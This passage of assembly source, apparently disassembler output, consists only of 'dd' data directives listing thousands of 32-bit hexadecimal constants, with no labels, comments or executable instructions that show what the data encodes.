		dd 3FCB531Bh, 1080F037h, 0C4EF6D90h, 69001F81h,	7008DA65h
		dd 0F7E5BE9h, 686433CAh, 4BC3B998h, 2498BA1Fh, 0A02E48h
		dd 58ED60ABh, 2CA31A82h, 482B780Ch, 833965h, 0EAD29075h
		dd 0E2EC798Fh, 9C089F63h, 0A92000E3h, 401909Dh,	0AF1DFDB4h
		dd 0EF4384F4h, 83E536h,	6F4E3A98h, 1346F84Bh, 0EA168E00h
		dd 5BF49F4Fh, 2A637EC6h, 0B0F5B5h, 2822DD10h, 597FDC67h
		dd 8CAA4FCh, 0B580D017h, 1E9222D4h, 1150110h, 0B669D687h
		dd 70E982ECh, 90B57E55h, 3FE2D3D8h, 5A3782B8h, 50BB93E1h
		dd 0D86D2100h, 0ACD66C24h, 0CEDF3387h, 21006709h, 0C924A00Dh
		dd 9D9611h, 7FDE4381h, 487894E3h, 0C8E0D754h, 8B1C0607h
		dd 5E50E640h, 0BC5274h,	0F2BD49C6h, 987B3BDDh, 0B59C470Ch
		dd 1E1599EBh, 5F11A9h, 0D72F43D2h, 890064DDh, 0BA5EE70Ch
		dd 145CD5A8h, 94913B92h, 5D80D601h, 9152F02Ah, 0D980D8C9h
		dd 0F4D67324h, 1C66448Ch, 0B724A100h, 9C8ACF67h, 38E90ECAh
		dd 9198B5ECh, 1A00DA7Ch, 47F3D1DBh, 52BB9Fh, 0A949BC30h
		dd 4363D675h, 0F19E7C01h, 0ED0F50EEh, 8CD4A848h, 6724DD0Fh
		dd 698871D6h, 24A51087h, 0EDE92DC0h, 5AA0A8E1h,	0E76D09B7h
		dd 18006EFCh, 0D5EA9541h, 0C3354012h, 9610483Ah, 0DD8AC1E4h
		dd 0D0F01B0Eh, 0C4393245h, 6C301E48h, 0EAD71190h, 809B8897h
		dd 0F99074A2h, 0F89D419Eh, 26502AF6h, 0AA9C1FC0h, 0C549016Bh
		dd 20AC5763h, 0E214DF64h, 7BD8B41Fh, 58A1E71Fh,	86D1698Fh
		dd 1318B2F7h, 3226EDA0h, 27309E14h, 5CDE1135h, 629E29h
		dd 0D9351FA2h, 17799ECEh, 9878CC28h, 0B05ABC2Ah, 914A9B00h
		dd 176E098Dh, 204E60B8h, 7130586Ah, 29246034h, 470FDC6Fh
		dd 82099378h, 0B24A0401h, 3A209459h, 8CB0AC64h,	2470454Ch
		dd 678340EAh, 1E7370E7h, 1EC33CB0h, 9E1C495Ch, 0B2E9B0A0h
		dd 91C057BBh, 18CACBFDh, 0EFAB006Dh, 3AD02CAEh,	9009107h
		dd 0D8276AF6h, 1D79DFE2h, 2882F939h, 349B4DD0h,	3422E180h
		dd 87FC67h, 422D8B1h, 4404F44Fh, 1EECD475h, 7F138481h
		dd 0D9C82805h, 24D2048Ch, 62FCD676h, 0DA1B206Ch, 6E06A724h
		dd 58BC1041h, 81AC1E19h, 81F59E0Fh, 0B4825A0Eh,	0AF0AFCFBh
		dd 1EC6C4Ch, 85D16A31h,	7024BA3Ch, 897810B8h, 12C23FFh
		dd 0EAD99076h, 409E1887h, 90EAA8E3h, 0AF736400h, 77547BE1h
		dd 0DE8F3283h, 78C4E858h, 0E0283534h, 9A23302Eh, 0CABD8A00h
		dd 7FCFD13h, 415A0CE6h,	67C7F2ABh, 0A1AE58C1h, 1AD1D0D9h
		dd 3712B218h, 5420B95Dh, 3489212h, 0E1735287h, 0D1A8EA80h
		dd 2100C6CEh, 0B5FB2AA4h, 58DCF671h, 0FA9E8C47h, 0DAE9C080h
		dd 40A0935Ch, 144FBA00h, 634E33D1h, 0F8E652D3h,	1D0D8616h
		dd 7318BE94h, 246C18DFh, 99616473h, 4F577051h, 58D89183h
		dd 117C964Bh, 88779213h, 40CA0400h, 66487EC3h, 98F3968h
		dd 0A84CD301h, 0D882D906h, 21D1C24h, 640FED9Eh,	9342C3FFh
		dd 25698880h, 440ADC9Fh, 0D0ECD828h, 672D6605h,	30206888h
		dd 3F596C48h, 0FE00595Bh, 93A454ECh, 0B886263Bh, 506C7567h
		dd 8C1FF0D8h, 0D6906904h, 90CE6FEAh, 9071A501h,	0D8D8E595h
		dd 3014EB56h, 15901DAAh, 0E4EDB5h, 7CF42E61h, 25C22Ch
		dd 35B778C6h, 10436F3Bh, 0B46C7758h, 6688D0CBh,	5E2BE9C0h
		dd 82A53E49h, 56B9778Ch, 2E583421h, 5B10409h, 0E081A3F7h
		dd 0CC35A237h, 2443F2C8h, 80ACF16Dh, 0C6C4368Eh, 0DE60B671h
		dd 44A6D9C1h, 0B8E50030h, 60FD1EFBh, 6A011BC1h,	0BE480EF4h
		dd 8616770h, 263D45CCh,	11ECC4C2h, 3526809Fh, 8C215CDBh
		dd 0A1A844h, 55D8351Eh,	5ADB7F82h, 376D6B00h, 0B931CF2Eh
		dd 0C38B22Ch, 0F4C52F38h, 48CA160h, 5CE13534h, 20DD62D1h
		dd 0AE352C8Bh, 0B3D8120Fh, 5C0292EBh, 0E4618E28h, 72C0A194h
		dd 2208DE18h, 0C4D46727h, 0D5AE4018h, 21F8B22h,	0CAFC61A3h
		dd 20511AECh, 86E49BD8h, 0E114FF01h, 60EF4350h,	0D6233076h
		dd 8424D30Bh, 88EC448h,	24006158h, 1D3228D3h, 0CA00FF4Fh
		dd 84B2BEE2h, 0C05BBBF0h, 4DB7C729h, 0A600B09Ch, 3FE12DC3h
		dd 482EC138h, 0D715F8D6h, 0A50184ECh, 60346CD8h, 0F12072CAh
		dd 0CA0CE39Dh, 1C840A39h, 3B00874Ah, 54D3E0B6h,	7ABB289Bh
		dd 60B209C4h, 8000E9BEh, 0F8FFB93Bh, 21D85759h,	5C30A62Bh
		dd 0A1016646h, 798969B7h, 15D040A4h, 645238B6h,	17123F8h
		dd 672622DBh, 881418ACh, 2200D2AFh, 799DA6F1h, 4B23219h
		dd 40E9A1D9h, 17AC8113h, 0D50C74E4h, 8179C702h,	0E42F9259h
		dd 20371688h, 0E1F0023Dh, 58AFE2h, 0A880B82Ah, 99D1D0B1h
		dd 46785918h, 0FCE9C57Dh
		dd 9B609C0Ah, 0B9236D58h, 0DD88AB77h, 0CC5EB8C4h, 0E009BC1Bh
		dd 264F6F32h, 0AA085FC8h, 0DA593E9Ch, 93509B29h, 0A31B0AEEh
		dd 4F5403D4h, 4896703Ch, 38E2650Bh, 5640095h, 0C380313Fh
		dd 33912EE8h, 0BC2559BBh, 7478A49Ch, 2522DC60h,	0C0A46721h
		dd 6D22D3B0h, 0D55AF700h, 58B37D25h, 0B4114C4Ah, 0D76B9C05h
		dd 5BBC0678h, 0D806A867h, 658FF2D4h, 28D63D14h,	3013869Bh
		dd 0E200A3ACh, 6966306Ch, 0E604CF1Ch, 0E9C161FDh, 5983CDE3h
		dd 93BFDADFh, 3779780Eh, 92738Dh, 4586CA0h, 5CDC3525h
		dd 20DB6219h, 43351DA4h, 8B8BF83Ah, 2A7250EBh, 63099CBCh
		dd 404BACh, 662E7531h, 455F9C24h, 0CA8D2207h, 0ED137DAh
		dd 0C0E5FDA0h, 0EA13BC40h, 0A080F7DBh, 0C9B7406Dh, 9A0093CFh
		dd 0D183E942h, 68C708h,	9BC49138h, 0FE1D4C94h, 0D20073F2h
		dd 23753F50h, 0D83DC0h,	0E17A5CBCh, 10E72617h, 18D13Eh
		dd 97F9D2E5h, 0F2C8A081h, 0F1B63FA6h, 0BDE7E300h, 647F4412h
		dd 1E9D5F00h, 3DCD18E2h, 9E9500FCh, 658EE67Bh, 0E034907h
		dd 0CEBBF7A6h, 201018DBh, 3077488Dh, 0B58A8100h, 0AE71B11Dh
		dd 682F0655h, 0B23D94BBh, 74AB84C0h, 33CA644h, 0EF5541C3h
		dd 70E7B35Eh, 4B1FC504h, 3029A33Eh, 54FB19EAh, 61D93EA5h
		dd 2FF7B500h, 6C7A07C3h, 95A80306h, 1CC80DEBh, 0C1524182h
		dd 0F5DD8640h, 57A2C767h, 6E27DE00h, 0B77B0095h, 6D1F77D0h
		dd 0BF0A9261h, 4CF3833h, 4D9786C0h, 0CCA5783h, 0EA3078B4h
		dd 0A0B32800h, 4A34FCC4h, 29880CD4h, 5218BDDAh,	10644386h
		dd 6088C3D7h, 11AE3F62h, 424C0C98h, 24427FADh, 10B0427Dh
		dd 6F8A23ACh, 0CA89524h, 54B82A21h, 0AC42F524h,	540C3C2Ah
		dd 86383CA8h, 3EE84321h, 0E75E10C3h, 1482D088h,	80BEB85Fh
		dd 88424E9Ch, 0F886F6B9h, 0A8D25460h, 8A400065h, 0AEA88E7Dh
		dd 5C2A3D74h, 2A00B834h, 6C9AC9C3h, 188693B9h, 39CCB3A7h
		dd 6E0A4A92h, 0C858A910h, 4CFD4180h, 3CEEC20h, 94807B66h
		dd 0AB9BD036h, 96AEEDE0h, 86D5C300h, 5B90BF04h,	8C1651Dh
		dd 0A7778775h, 49B58040h, 32484870h, 943F3ADCh,	0C34CA7DCh
		dd 7A98FF5h, 0F39BE8D9h, 312040A1h, 54508BC2h, 6F3FD484h
		dd 4A0CFC24h, 0E0D0F62Ah, 0D2E1034Ch, 539DF42Bh, 0FD47BBE8h
		dd 7B6EB000h, 0B9D5CD86h, 0D6341541h, 35C81CEAh, 5987D0h
		dd 0D5CACB21h, 314BE138h, 48794201h, 37AC8C09h,	407BC05Fh
		dd 0B7E0C0A0h, 0D5CB2A0Dh, 1400407Eh, 828689h, 0AF709F5Fh
		dd 6B41D9C0h, 8A6A9B01h, 21298483h, 5364A1D0h, 27005C4Ch
		dd 0DFE7B723h, 9B00345Bh, 0EAA74ADDh, 0EC3C18A0h, 0D7973DDCh
		dd 7F00943Ah, 0E333C210h, 0B3026B47h, 8BEA8650h, 0F2C04834h
		dd 8E612451h, 210AA30h,	0C3BE142h, 14809793h, 953C86F6h
		dd 1BE22920h, 0B0421F70h, 881D8B9Ah, 87D69E04h,	1F9C874Ch
		dd 403C9080h, 7702A37Ah, 1AFC43F6h, 4F406812h, 9D974C5Bh
		dd 8638F126h, 4037B548h, 78FB5E50h, 0D5B2A715h,	4E4F00CCh
		dd 8114D63Ch, 94AF6ACh,	6AA10E8Ah, 0F8BE5C01h, 2174265Ah
		dd 0A947D8CAh, 0AC691400h, 0F399E008h, 0A748099Bh, 0C2377C8h
		dd 828C85B8h, 0BA239CCCh, 4EB91FB7h, 0B5DF026Dh, 80A04230h
		dd 6BCCB987h, 2414B210h, 5EACE729h, 59B398C0h, 126B3FD3h
		dd 388A47A4h, 21486194h, 792AA0D4h, 5044A5E8h, 84AA7E90h
		dd 1511A740h, 0A7BDE109h, 496E7h, 42A2351Ah, 0A3144880h
		dd 3FF3E200h, 8851537Bh, 0F1E8919Dh, 80DC26C1h,	0A69723F3h
		dd 0C4B914ACh, 47059434h, 2824103Ah, 90120E84h,	20115851h
		dd 52107A0h, 85202CCBh,	0E8F32ADFh, 3FF22E77h, 5C2B00D6h
		dd 0D498134Fh, 0ABE44A01h, 6ECAF8C0h, 47A828A6h, 204DE02Bh
		dd 67020358h, 986C427Bh, 17D0A7E0h, 0F52B104h, 7580B9CFh
		dd 0FD43EAD2h, 4D746491h, 80C008A2h, 0A1F49BF6h, 0EE714809h
		dd 96288032h, 72472C69h, 2422E8B4h, 570C772Ah, 9CB9D683h
		dd 4AD8096Ch, 410F2BAh,	5B1DE0DFh, 8A3E14B8h, 0FC23F69Ch
		dd 47290357h, 0C8145F2Eh, 0C0F4B231h, 0E7832479h, 1C8CA2FFh
		dd 7B2E2080h, 85D8289Bh, 48E8B399h, 0C5F38190h,	0C3FB3CA2h
		dd 0CA9B2119h, 0B080810h, 0BB458498h, 109024E1h, 4438FEAh
		dd 7B22B6FDh, 5844C504h, 0C99CD4E0h, 561041FCh,	24D47271h
		dd 891C4042h, 0BE246F11h, 0E5950C30h, 0ED304DD1h, 4CC940CAh
		dd 9F4830BAh, 7155E8D8h, 9C84AE90h, 90C4948h, 0A2C0385Fh
		dd 0E0A7E300h, 2E28B63Ch, 98FCC9B2h, 8E794860h,	37140091h
		dd 74A928ACh, 403BA8CCh, 17BA09ABh, 9006FFAEh, 127848FAh
		dd 3548E4A4h, 0B05729B4h, 90701412h, 0CB41F421h, 9C906090h
		dd 0D0EEDB02h, 8C754209h, 0F050203Fh, 2C5254Ah,	7F0482ADh
		dd 0E4816186h, 38585C4Ch, 0A6260050h, 6F3F0C84h, 0F0E54802h
		dd 8E9FE00Ch, 4129A458h, 6501F432h, 2D2B885Ah, 3C446F0h
		dd 0B37612B6h, 56B06A90h, 62005166h, 0D043E7F1h, 0C07DBAA6h
		dd 964529A1h, 62025225h, 0E4648420h, 0B63DE12Ah, 0B0A13BD1h
		dd 0A14E0E68h, 0DACE6C00h, 2300EA9Bh, 0E2C115BEh, 12108749h
		dd 40AC5732h, 58C28B04h, 4006600Bh, 338C310Ch, 1E0FEA51h
		dd 4CA58111h, 0AC31A857h, 78152900h, 0BE431631h, 7C511E48h
		dd 9096D6h, 89D77663h, 204930B6h, 63905818h, 0D0D86E99h
		dd 7B6628F2h, 0D4B8006Ah, 0E67215B9h, 0D064725h, 6C5FBA89h
		dd 57750031h, 0DDF456EFh, 6D7EB565h, 0CB77100h,	8F154720h
		dd 4D400058h, 2F138583h, 0B6009B73h, 95964C79h,	155A702h
		dd 2552195Bh, 6085C138h, 6600F4DFh, 0D3279D0Bh,	0F0EB1BCDh
		dd 0E6880B78h, 8F074054h, 20C2086h, 46032EF8h, 365B44B8h
		dd 0AC4103BCh, 0C9B7E923h, 34C3F1D0h, 20F2AB1Eh, 0D2534583h
		dd 2B749087h, 0F08BF855h, 1C100038h, 516C5EA4h,	0FE62A96h
		dd 9867900h, 0E3F7EFA2h, 36E2BAh, 26C70D07h, 66478D2h
		dd 28D67200h, 5C4BFB55h, 9D300E2h, 0CB3D80CEh, 5400E456h
		dd 8326F51Ah, 7435F047h, 0B6A0071Bh, 47A98CABh,	1C0E0085h
		dd 6A0369F2h, 0EE580266h, 3CAC827h, 0EDBE1A8Bh,	41D11E4h
		dd 4A8D3BC0h, 1F5FF8BFh, 3BCC5C9Ch, 4089E89Dh, 229DE2BCh
		dd 3B00BDAFh, 0A6A83C0Bh, 0C8865F5Eh, 3242A429h, 20072430h
		dd 80CBAA05h, 0A888250h, 33B2401Eh, 440E3944h, 51CFCC9Dh
		dd 9223A01Fh, 0B71638h,	0C806EF3Fh, 0FF45DD30h,	79F5F700h
		dd 74EC038Bh, 6C1A1D60h, 76270059h, 71506B20h, 335CD1A0h
		dd 0D34B0E03h, 0B0F4CD8Bh, 114214h, 4EEEA966h, 1A452E10h
		dd 0FAE7AB07h, 0E6C0DA82h, 0EA214259h, 3D03768Ah, 6B1F5EEDh
		dd 47DF00F6h, 0E1899601h, 0D27AD900h, 370F4913h, 0D1CE001Eh
		dd 865E8826h, 11C33EC2h, 908091B2h, 0B91841h, 0E1081449h
		dd 0E658A7D5h, 591CD700h, 34794EA6h, 8FDE00BEh,	703992CAh
		dd 0D4A84811h, 9C0715F6h, 8386A6B8h, 3F8F5400h,	20D50013h
		dd 7E194B4Eh, 62001297h, 1C6E8AA7h, 0BB7BE1Dh, 4E8BFEFCh
		dd 0CF111B87h, 0AC0BDE0h, 0CF006913h, 96E27BE3h, 0BA31AAh
		dd 3725B24Fh, 8C3D874Bh, 0F8394806h, 1C20AC50h,	40F3F696h
		dd 4A1E33DCh, 0CC004E8Fh, 5C705ACAh, 3B3D2EDh, 1D56C22Bh
		dd 0AEF8A5F8h, 0C0C02840h, 0D4790A4Bh, 4C33AF0h, 0E494960Eh
		dd 251AD3C0h, 0F900EAB2h, 9A129827h, 35DEC5h, 7FA7DA24h
		dd 1CD058D9h, 43FB48C0h
		dd 0A089F49h, 443AB7F8h, 2F600EDCh, 0B08804A0h,	73001DF9h
		dd 3530DF61h, 1E974B82h, 80B91C45h, 58371A33h, 0D2FEAFDCh
		dd 20B19426h, 93F55001h, 108191ECh, 40B7C19Ch, 0B3A07E0Dh
		dd 7E5101C7h, 723F2BFCh, 8B830ACh, 21D2412h, 5F279805h
		dd 0B8FDC420h, 87ECE3h,	7AD8E755h, 75803D96h, 0A73AF607h
		dd 5CB6600Ch, 63B90368h, 0BBD7D548h, 7A3E5008h,	0A00407CAh
		dd 397BB089h, 500031CEh, 0E1A15BFEh, 36A47h, 0FD3FF32Ah
		dd 6C372253h, 129D8312h, 0B5CDB801h, 1B20D33Bh,	18856018h
		dd 76230454h, 1E4B6600h, 1FC74F1Dh, 0F93F0009h,	0D62EA84Ah
		dd 3509AC87h, 1A1552Ch,	79E61058h, 99EDC0h, 0FD94F59Dh
		dd 0A6E3EEF2h, 0F1011800h, 10D28057h, 0C423DEBh, 0AF09D800h
		dd 0DBE6F6BBh, 928A9D00h, 0F74DB496h, 42290023h, 0B0FA7399h
		dd 0C91D721Fh, 0CD40BAB9h, 303FCBAFh, 86BB0023h, 0B4F247Bh
		dd 0F8A21B71h, 0D6710047h, 8301A00Ch, 9DCBC5BDh, 64C4C037h
		dd 0B2720016h, 35465CA8h, 0E8A3E2B0h, 0CD2C360Ch, 0A0FC11D9h
		dd 0FEA9EC7h, 0F70B6170h, 9B62FEEFh, 0F580D7D8h, 133C96C8h
		dd 6F8DC900h, 0D4AFEE29h, 0F49051h, 3FB0B161h, 0A2723C27h
		dd 0C4ED0E26h, 0D2F79400h, 7EBF3DF0h, 4F970006h, 77127DADh
		dd 300A725Eh, 0FC74A90Bh, 0D05009h, 85AA7BF8h, 487FEEBh
		dd 5319D73Ah, 5F8C8071h, 300EFC93h, 0DF92D52Ah,	8296F949h
		dd 0D7C74Ch, 0A56EF59Eh, 35DB2D00h, 31B58C3Ch, 0EC850040h
		dd 0C6E10D9Ch, 7807EE56h, 2CF0016Bh, 80C063C4h,	778E2738h
		dd 58DE00DDh, 0AC9BB05h, 0E90F4A9Fh, 571461B1h,	0A04D5B0Fh
		dd 0ADE564EEh, 0B3E03BCDh, 0E8AEEA86h, 9C1E307Bh, 9B802DB7h
		dd 2FEBF53Fh, 334A002Bh, 0B982F8AEh, 1F0E905Dh,	0E08FC2ABh
		dd 0A82D9DEEh, 9490B7h,	47AE6B9Eh, 6E038646h, 0D3974400h
		dd 6AE7317Ah, 95B0113h,	0E65A2EBFh, 0C0ACE1B7h,	0DB00064Ch
		dd 0B57B1EB9h, 7F597488h, 4E7E016Fh, 29D33A77h,	7641D826h
		dd 65DFEB00h, 0B4364ACEh, 0C11300D8h, 6ECA399Bh, 0EE00BEBAh
		dd 0D0845FE9h, 3D210E24h, 0E6AE50F9h, 88460042h, 3C8FA978h
		dd 1F7A0100h, 0E181D271h, 10C14816h, 2D187900h,	64F274ABh
		dd 5C1FA207h, 85A0FE3Dh, 3EB49989h, 0F300C7B9h,	200E836Dh
		dd 86079B54h, 0EE82078Fh, 7FA949D0h, 0DA19000Bh, 5D6DBFA1h
		dd 0D6751BE5h, 0A11D5Ch, 567F1C7Bh, 0D97E14h, 0F9D78B85h
		dd 0FA07448Ah, 0FBFE4D00h, 0E7903523h, 0CB800071h, 9FABBB4Bh
		dd 0AD09FD74h, 803EAEE4h, 0F988C8E0h, 0B8DB02Fh, 0EAF30628h
		dd 0C9C4D780h, 9A00EE1Fh, 0FCE90C3Ch, 1897CCAh,	62A8B049h
		dd 2073BB10h, 990036A8h, 0D4710554h, 1661781h, 5E0ABFB0h
		dd 3044203Ah, 13001FECh, 0FCE48B48h, 93EEBD3h, 5D22EC90h
		dd 9D7A4C00h, 749075F1h, 330F3F00h, 0DF1048F8h,	0C15A0C45h
		dd 0AE2873ADh, 0F5710102h, 40FE511Dh, 2EFAC74h,	5DCBA56Ah
		dd 0C080BD32h, 0DE5A9149h, 57DCD91Eh, 26BB95C3h, 23002D8h
		dd 5D6F09F4h, 3F0E1E5Eh, 92EE03ABh, 0A9840004h,	16627963h
		dd 4600E4DBh, 8E6730DDh, 18B165C0h, 30FE35D9h, 0D0ED86C3h
		dd 0D6005EE8h, 0C2677A21h, 2CE32859h, 20247Eh, 0E0D08814h
		dd 2700432Ch, 0D59C3E32h, 0C72CB03h, 77E5DA8Eh,	6D3FD18Ch
		dd 0B93400C4h, 0AC639370h, 7FFC2869h, 0F97400ECh, 7215C96Dh
		dd 0E4030E1Dh, 3B78C731h, 0E355C0A7h, 6970287Dh, 84C0090h
		dd 950AFD71h, 0B0008AC2h, 10A1F55Bh, 507CC68h, 84FE336Bh
		dd 3E9402ADh, 47604A75h, 8F077BD3h, 899F47D7h, 0CA6E8C0h
		dd 0E3E092h, 2B313DFDh,	9AE61930h, 0F5EA9919h, 0D6DC3B20h
		dd 8FA1869h, 0EC0F8061h, 0B7E1CF1Eh, 0C2438345h, 0DD20C0AEh
		dd 0F760726Bh, 30898139h, 6DEF00A1h, 3E88493h, 0B4008CB1h
		dd 1B460D62h, 57F4E0h, 8978CF81h, 97ABEF86h, 7E31B21Ch
		dd 0F16F1E05h, 40285CC0h, 0C6B12893h, 0B0790E90h, 43FF38A3h
		dd 0A5BE1229h, 3E4334D8h, 800CB200h, 0D390A97Bh, 505C0BB9h
		dd 0D800892Bh, 25B8F495h, 769A7117h, 83262000h,	6CB31Ah
		dd 61B45C47h, 9EB64A0Eh, 4DEF5D00h, 8DE4A303h, 94C4A7Fh
		dd 1A0080B4h, 41EC8E8h,	67B0B150h, 71B03000h, 0AD91A0F0h
		dd 25760029h, 4EC6CD93h, 0D01D628h, 0E84F2E63h,	94E819C9h
		dd 0A2A60758h, 2066333Bh, 0B7C3FF97h, 0DC078CA8h, 635AB000h
		dd 17D279FAh, 0E6B1000Bh, 97B35687h, 0E5901EC2h, 910E9800h
		dd 0D9BEE5B8h, 1CDA7C9Ch, 7FF577DDh, 12AB3D09h,	32E11E0Ch
		dd 0E100A2F2h, 4A1FB9C7h, 0BE2B8h, 0C9384FD9h, 0F0FE9C37h
		dd 0A3180274h, 0AC114BBBh, 411605C4h, 0BAAB642Fh, 9418F818h
		dd 183F008Ch, 6C5C7A26h, 4500BDA8h, 1904690Bh, 11162A9h
		dd 0AEB4A7D6h, 0C429E65Eh, 9FFCA570h, 7B1F44B0h, 1F80F64Bh
		dd 956A711Eh, 5A6302D2h, 7FDBFC0Fh, 23FAE040h, 309ED831h
		dd 60B650h, 0FDA3A058h,	6C1E00FCh, 6427152h, 0FB71DD5Dh
		dd 1377E103h, 0EFB78Fh,	2D689839h, 0BDDE709Ch, 0D1D47507h
		dd 58E2E0F9h, 55F04095h, 0F7AA00AFh, 0DCB65EC2h, 86007EE2h
		dd 7B581E0Eh, 0F531A14h, 6D1383EFh, 7E3C00F6h, 79D468B6h
		dd 0FC995128h, 0EB7E6075h, 6D90C400h, 62CFED7h,	415F00F9h
		dd 59151802h, 0BC00CF8Ch, 61E26214h, 0C5D267h, 0F0812A5Dh
		dd 0E4F09ABh, 0D240498h, 0D607559Bh, 0D984650Fh, 7A5D5D80h
		dd 0FBA905FEh, 0C0701DC1h, 8192BC20h, 6D0F1300h, 0C7614563h
		dd 6C710017h, 0AB364F1Ah, 8D077931h, 37325696h,	7C930D51h
		dd 135916C8h, 0B2B050h,	51E81380h, 5514FCF9h, 19CF8EAh
		dd 9AF3DADEh, 7760322Fh, 12130084h, 9F5507Ch, 0B04B2851h
		dd 11DDAC00h, 98C63BB5h, 29170E72h, 4B60A588h, 0BEEF5071h
		dd 69D1240Ah, 0EE26B425h, 59020500h, 77EB781Eh,	0E8933CD9h
		dd 6EB32C03h, 2100655Eh, 96EF9BEAh, 902F8EB8h, 4CB0E0h
		dd 0C66B5214h, 95EEB487h, 9161D01h, 4470250h, 8E112463h
		dd 8A4E0DAAh, 5C211108h, 0F8821730h, 0CBD70C67h, 0BC5853ADh
		dd 5013798h, 7E69D53Ch,	0A8D4C87Dh, 419E00A3h, 9DAD3DBh
		dd 5BFECBE8h, 76570A00h, 4D827103h, 0D4D85868h,	566BEB05h
		dd 0F7F88CA0h, 0F2362500h, 0FCE9F16h, 0CA1300CBh, 0AE1AD94Ah
		dd 0F30C6CFAh, 4866FDC5h, 104400C6h, 3E31BC24h,	691C1F91h
		dd 0A247DE40h, 0A0C0860Bh, 0A70CA3h, 13D41697h,	55C46258h
		dd 1283C202h, 63531BB0h, 2572C054h, 84090291h, 0D1779EECh
		dd 0B456E8C8h, 6D6FA71Dh, 627E5580h, 902C01A5h,	17D600CFh
		dd 24C6C335h, 7EC9731h,	0F3EC7CC1h, 0AC70CC8Dh,	9E9C00FAh
		dd 2436599Bh, 0B8B2E762h, 1612B0EEh, 40C04E2Ch,	0FDE198Ah
		dd 0A65BC482h, 0F5D87162h, 1C751F40h, 0E2775E13h, 53EDA800h
		dd 397CF80h, 0FE2C0C12h, 98F0A25Ch, 0DF397695h,	0E4ABA68Ch
		dd 0D640401Fh, 18EC7534h, 6DAF00D3h, 0FD89844h,	7487DCAh
		dd 0ED5109B8h, 14C460h,	138B1ED1h, 1D1C70FBh, 4E51FD2Ch
		dd 0BE180127h, 12C8A5C8h, 0F44B0ECDh, 0E74301F9h, 3100FC0Dh
		dd 8B4506C1h, 0E64DDFDBh, 604F1EF4h, 58E74004h,	9CE4AB42h
		dd 48864A3Dh, 64B500C7h, 30DFA4B6h, 3DDD008Dh, 6884167Ch
		dd 5B001DCAh, 1B4B0B18h, 0E365BFh, 2DF7E410h, 0A2B00347h
		dd 0DA593600h, 37070A06h, 320F0079h, 0F61D1F88h, 4730FF6Fh
		dd 0D8E911E0h, 4B62180Dh
		dd 406D39A8h, 68D1B400h, 99AC184Fh, 0E23400D2h,	0A2B5EA2Dh
		dd 0F200167Bh, 0BC01074Bh, 4E41B21h, 697202B1h,	2B5CE0CEh
		dd 57EFAA00h, 9943689Ah, 0B30F61Fh, 2B508C0h, 5460980Fh
		dd 8CC58E3Eh, 0AE00FD7Ch, 4D92495Dh, 5A7BCBh, 0B50E9FF2h
		dd 671F10A6h, 38325430h, 72694565h, 0BC3D59A2h,	0E6F15803h
		dd 4EDBB723h, 1C246498h, 0A47ACA1Fh, 0AACBCF44h, 71F80C90h
		dd 220E0BC9h, 0E287D0F9h, 9075D76Eh, 1EE07046h,	0E87D98B8h
		dd 0E97148h, 96880751h,	0D298D6h, 0D902167Ah, 9DDFE7F7h
		dd 0A5108A00h, 0D83C7FA9h, 841212A2h, 0DA7C0302h, 3000D1AFh
		dd 4315BE0Bh, 0FB8A39h,	0C5904F0h, 0ABFE8AAh, 0DA761300h
		dd 0D5362CF6h, 62293F92h, 0CC0828h, 412432DBh, 2AE0CEF3h
		dd 18114B30h, 0F8AC3F2h, 0A51484E3h, 6EEBA001h,	0C2E2F099h
		dd 1282FD1Fh, 42BB003Dh, 17DB5D0Bh, 0D43B0008h,	50DE7686h
		dd 3471037Bh, 0BCD3AD3Dh, 18380E8h, 4A441ACEh, 68A70B62h
		dd 0D0855828h, 65DA0674h, 9D981156h, 0B7793900h, 0BC6786F3h
		dd 6068BABBh, 912F70CCh, 0D503226Fh, 0A03493C0h, 0CAA1C09Fh
		dd 0B05800C2h, 78745C56h, 9114C74Dh, 3FCC25D6h,	791309BAh
		dd 8F59094Ch, 0B47AA037h, 0C708F457h, 4E8510h, 6413489Bh
		dd 7DDE6712h, 4D6EFC44h, 98F218B0h, 5CAD0530h, 0A0759964h
		dd 4716707Ch, 548CC0D8h, 6FC95872h, 0A08C2060h,	0C300CBD6h
		dd 0DF2F3CD4h, 0B610FEh, 0B7C09C50h, 1AB311CAh,	9419A603h
		dd 0A8534C5Ch, 21E72Bh,	798B7B75h, 0F5A6859Ah, 1F071700h
		dd 0FC52ECEBh, 5D300CCh, 28AA42B9h, 0C200379Eh,	20A214D9h
		dd 2663C339h, 0E2E85BEh, 0F60077B4h, 120D3A2Fh,	0DF495200h
		dd 71D2E567h, 559D002Bh, 0F67081F3h, 6B7250F4h,	0A76A5D00h
		dd 7B808E36h, 3A043A2Eh, 0C9F73400h, 0B161EFBEh, 0F082D500h
		dd 0A6847495h, 0E69A0067h, 1C6938ABh, 23018FADh, 522429C4h
		dd 14E08417h, 68F4CAh, 9489D5A2h, 0CC357EBFh, 0EA88D903h
		dd 0A06571C4h, 74C6B2h,	8CBE6F38h, 0DAAA78D6h, 0D5CE0800h
		dd 451B5C4Fh, 257300E2h, 0F71F827Eh, 3A0085FBh,	77A2ADC6h
		dd 3CA56C7Bh, 0EF807A34h, 0ABE11967h, 0EC00D9BFh, 0EDCDDBE8h
		dd 0F354378h, 0D81F259Ch, 5F806D2Bh, 0E041F342h, 710E5501h
		dd 0C94FC61Ch, 30BF4h, 0D25DA2D5h, 0E6BAF0A0h, 0DCB21D01h
		dd 544EB88Dh, 0C54330h,	0ADF237D4h, 59A75FDDh, 62350901h
		dd 10701A20h, 37F360h, 56879604h, 0F17C9271h, 0B6270500h
		dd 9C4BDE79h, 5DE1006Ch, 30F00C32h, 621E10E2h, 1B00DD3Fh
		dd 0ECA6D8AAh, 0E9D70092h, 65642D49h, 690068A1h, 1DC7E3E8h
		dd 3B344BDh, 8BDA83D1h,	9080506Ah, 0F001822h, 3CE43F04h
		dd 0EF5D7h, 207B3951h, 0ECA85D4Eh, 8ADDE8A0h, 0DCBED81Ch
		dd 62CFEEC3h, 7360F87Dh, 379524D4h, 511269h, 56C9DF49h
		dd 7800C2FDh, 31ADEB90h, 1CD6A53Ch, 0C1C19480h,	5216AC12h
		dd 0CCE84033h, 5180977Fh, 0E16404FCh, 0BE689FAFh, 919069C0h
		dd 0E561ECFh, 470180C1h, 0DF39CB63h, 0B3074112h, 0E7C67800h
		dd 1E1DBB16h, 0A88EBFF1h, 66FE00B0h, 0B7F34406h, 850020BDh
		dd 4A29D25Ah, 1F46D71Fh, 833995B5h, 9F84A0A5h, 0F51363E8h
		dd 0E0BE3800h, 0CB8F509Dh, 5AE700DEh, 18BA17E9h, 0A003D04h
